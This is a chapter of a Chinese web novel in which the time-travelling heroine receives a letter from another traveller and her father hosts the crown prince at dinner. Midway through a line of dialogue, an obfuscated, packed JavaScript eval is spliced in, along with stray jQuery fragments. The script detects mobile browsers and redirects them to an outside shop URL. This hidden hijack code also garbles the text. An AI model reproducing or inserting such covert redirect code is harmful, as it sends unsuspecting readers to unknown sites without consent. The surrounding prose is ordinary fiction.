60. 庄父谈亲

作品:《反派,但决定摆烂

    庄非鱼动作一滞,心中忽然涌上一股烦闷之气,直涌到喉咙,让她连饼都吃不下去了。


    她反问道:


    “你要我搬出去吗?”


    “不要。”北山鄢摇摇头,“你想住多久就住多久。”


    烦闷之气四散开来,庄非鱼心中安定,继续撕饼吃着。


    纠结一会儿,她苦恼说:


    “我想和家人住在一起,可是担心上值迟到。”


    “不如这样,往后你想住在东宫就住东宫,想回家就回去,只是要提前告诉我一声,我好来接你。”北山鄢笑着提出建议。


    “这样会不会太麻烦?”


    庄非鱼望着他,越发不好意思。


    马车忽地一停,她不受控制向前一仰,北山鄢忙用手臂揽住她。


    待两人坐稳,北山鄢柔声道:


    “怎么会麻烦?你救了我一命,救命之恩,怎么都不为过。”


    门外传来侍从的声音:


    “禀殿下,除魔司到了。”


    北山鄢擦了擦手,打开车中箱柜,取出一个镂空雕花的竹盒。


    “这是御膳房新出的点心,带去给同僚尝尝。”


    庄非鱼打开一看,有她最喜欢的糖荔枝。


    她眉开眼笑,向北山鄢挥了挥手,翻身跳下车。


    一盒子蜜饯点心,诱来斥候部一堆同事,收获一条“人美心善”的评价。


    不知谁带来些瓜子茶水,十几个人坐在一起,吃吃喝喝,吐槽工作。


    “还是你们这队好,接到的都是大任务。”一个姑娘羡慕道。


    “哪有大任务?我进除魔司快一年了,没遇见一个魔头。”庄非鱼抓起一个糖荔枝扔进嘴里。


    另一个男子倒杯茶水给她,吐槽道:


    “至少你还救了太子殿下,哪像我,进除魔司十几年,遇到最大的案子竟然是一群假和尚捣鬼。”


    “平安无事你就偷着乐吧。”同伴用胳膊肘撞了他一下,“六年前的淮宁逢魔一案,折了除魔司大半个衙门,最后还是让那魔头逃走……咱们这行当,平常无事,一有就是天大的事。”


    “淮宁逢魔?”庄非鱼好奇问,“是什么案子?”


    “快吃你的糖荔枝。”翟流云连忙打断庄非鱼,转头瞥了一眼李念儿,见李念儿低头不语,安静削着香瓜,他转移话题道:


    “张兄昨日出差回来,不知案子情况如何?”


    张副参事捡起一块点心,用诡秘的语气道:


    “有一山村幽谷,时常传来哀怨凄凉的嚎叫,村里秀才疑是入魔前兆,上报除魔司,结果我们去了一看……你们猜是什么?”


    “是不是狼嚎?”庄非鱼猜测。


    “或者野猫、猫头鹰?”翟流云跟着猜测。


    “都不是。”张副参事摇头叹息道,“我们查了整整半个月,最后查出是村里小孩半夜不睡觉,聚众去山谷,比谁喊的声音大。”


    噗……


    庄非鱼一口茶水喷出。


    这是什么走近科学栏目。


    “小姑娘还是经历太少。”


    张副参事抬眼一看,递给她一条手绢,稳稳道:


    “除魔司大半的案子都是这样,你多见见就知道了。”


    吃完茶点,众人一拥而散,各自做各自的事去了。


    苏巧巧不在,庄非鱼和翟流云一齐收拾桌子,扫掉一地垃圾后,她奇怪问:


    “念儿怎么没在?”


    翟流云没声好气道:


    “八成是去找陈兄了。”


    “陈兄?”庄非鱼不知道他说的是谁。


    “刚才挑起话头,说淮宁逢魔案的那个。”


    翟流云扔掉抹布,烦躁道:


    “找他有什么用?他这个级别能知道什么?”


    “念儿为什么要问这个案子?”庄非鱼糊涂了。


    “你知道念儿是淮宁王的女儿吧。”翟流云问。


    庄非鱼摇了摇头,“不知道,我只知道念儿是郡主。”


    翟流云沉郁道:


    “永煦十七年冬,淮宁出了个大魔头,一夜之间屠尽淮宁王府,唯有在外祖家做客的念儿躲过一劫。魔头姓名祖籍无人得知,念儿进除魔司,就是为了追查此魔下落。”


    “原来是这样。”


    庄非鱼放下扫帚,终于知道李念儿的身世。


    一直以来,她只从他人口中隐隐约约听过李念儿满门皆亡,可具体发生过什么事情,她一无所知。


    她也从不过问,免得揭开李念儿的伤疤。


    过了一会儿,李念儿回来了。庄非鱼只当自己没听过她的身世,照常做事,翟流云却冷哼一声,不搭理她。


    庄非鱼更觉奇怪,心想翟流云向来爱极李念儿,现在却爱理不理,定有什么其他内情是自己不知道的。


    但人家小情侣的事,自己就不方便参与了。


    *


    下班后,她悄悄避开人群,跑到东宫后门街道第三家店铺门口摆摊卖糖画的摊子前,照常道:


    “唐爷爷,我要一支张飞。”


    唐爷爷乐呵呵一抬头,“是小鱼啊。”


    他熟练地持起铜勺,舀一勺糖液,在油纸上绘出皮影的图案。


    糖画没一会儿就做好了,庄非鱼接过去问他:


    “有没有我的信?”


    “让我想想,好像是有这么一封。”


    糖画爷爷从装钱的袋子里掏啊掏,掏出一封雪白雪白的信件,递给她。


    庄非鱼一口咬住糖画,怀着期待的心情,拆开信封。


    展开信纸,上面仅有一句话:


    【你好,同乡人。】


    糖画啪的一声摔在地上,碎成七零八落的糖块,庄非鱼盯着这行字,浑身颤抖。


    第三个了。


    这是她遇见的第三个穿越者。


    她握紧信纸,急忙奔跑回除魔司,迫不及待展开一张纸,落笔时却踌躇了。


    她想了又想,最后轻轻写下:


    【你好,我叫小鱼,2024年大学毕业穿越到这里……】


    她零零碎碎写了很多,她的疑惑,她的痛苦,她对这个世界的看法……除了自己的身份信息和世界真相。


    写到夜深了才写完。


    她将信藏到自己上锁的柜子里,这才慢慢回到东宫。


    木樨院里,北山鄢等候多时。


    他问:


    “怎么现在才回?”


    庄非鱼心虚道:


    “下班时不小心睡着了,刚才醒来。”


    “真是,”北山鄢敲了敲她的脑袋,“昨日说要拜访庄府,我们现在去吧。”


    两人乘车到了庄府,家里饭菜已然冰凉。


    见到庄非鱼,庄母第一个上前,拧住她的耳朵问:


    “我们以为你在东宫,太子殿下以为我们把你接回来了,刚才独自一人前来拜访……天色这么晚,你到底去哪了?”


    “疼疼疼,”庄非鱼歪着脑袋大喊,“我下班不小心睡着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388977|133376||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了嘛。”


    “你呀你,”庄父指着她痛心疾首,“当个丫鬟都嫌笨!”


    “庄编修何至于此?”


    北山鄢拦住他,侧身挡到庄非鱼面前:


    “小鱼也是一时大意。”


    “对对对。”庄非鱼躲在他身后连声称是。


    放在以往,她绝不会忘记回家,可今天是另一个穿越者来信!


    这么大的事,她一时情急忘了回家也是正常的吧。


    庄非鱼心虚想着。


    “罚你今晚不许吃饭。”庄父拂袖怒声。


    “不吃就不吃。”庄非鱼嘟囔。


    “好了,说要拜访的人是我,不是小鱼,怪我没有和她说清。”


    北山鄢替她打圆场。


    庄父眼睛一瞪,按下怒气道:


    “殿下请入座,臣布了一桌好菜。”


    北山鄢牵住庄非鱼的手,进了正房。老刘热过饭菜后又端了上来,蔬菜已经有些发蔫了。


    和庄父谦让过一轮后,终究君权大过父权,北山鄢坐上首位。


    庄父倒了一杯酒,道:


    “殿下尝尝,这是我们故地的佳酿——女儿红。”


    北山鄢和庄父碰杯后,一饮而尽,夸赞道:


    “澄香醇厚,滋味甚佳。”


    “这女儿红可是有一段来历。”庄父卖了个关子。


    “庄编修请讲。”北山鄢配合他。


    庄父抚了抚胡须,放下酒杯,笑言道:


    “我们老家有个习俗:女孩子出生时,父亲需取糯谷酿成三坛子酒,埋在树下。待女儿出嫁时恭送到夫家。”


    庄非鱼停下干饭的嘴,张口问:


    “我们老家哪有这种习俗?”


    “闭嘴!吃饭都堵不上你的嘴?”庄父暴怒,捻断三根胡须。


    北山鄢见状,夹给庄非鱼一块排骨,笑道:


    “听父亲说。”


    庄父满意地点点头,继续道:


    “我家小女出生时,我便在门口的桂花树下埋了三坛。”


    见庄非鱼抬头欲言,庄父用严厉的眼神示意她闭嘴。


    但她还是忍不住,试探问道:


    “能让我喝一口吗?”


    “喝喝喝,就知道喝!”庄父恨不得咬碎后槽牙。


    别人家生个女儿,温顺柔婉,善解人意,自己家的怎么一点不懂揣摩大人的心思?


    庄非鱼撇了撇嘴,没想到这个世界的爸爸这么凶。


    她在现代时,都是不带脑子想说啥说啥,想干啥干啥,被爸爸捧在手心里的。


    没曾想回到这里,爸爸已经训过她好几回了。


    她心里委屈,北山鄢却笑着给她倒了一杯:


    “绍兴黄酒有些烈度,不知你喝不喝得惯?”


    “我的酒量还用你说?”庄非鱼接过去一口闷掉。


    庄父见了,哆哆嗦嗦问:


    “你,你还喝酒?”


    在他错过的十几年里,女儿已经长成了集晚归、嗜酒、懒惰于一身的街溜子。


    “是啊,这酒味道还不错,哪家买的?”


    庄非鱼回味一瞬,又给自己倒了一杯。


    庄父的话说不下去了。


    听说太子才华横溢,他原本想先铺垫铺垫,通过女儿红暗示殿下,自己的女儿如珠如宝,可不能轻看了她。


    可庄非鱼这个样子,让他怎么说得出口?


    算了,爱咋咋地吧。


    庄父心灰意冷了。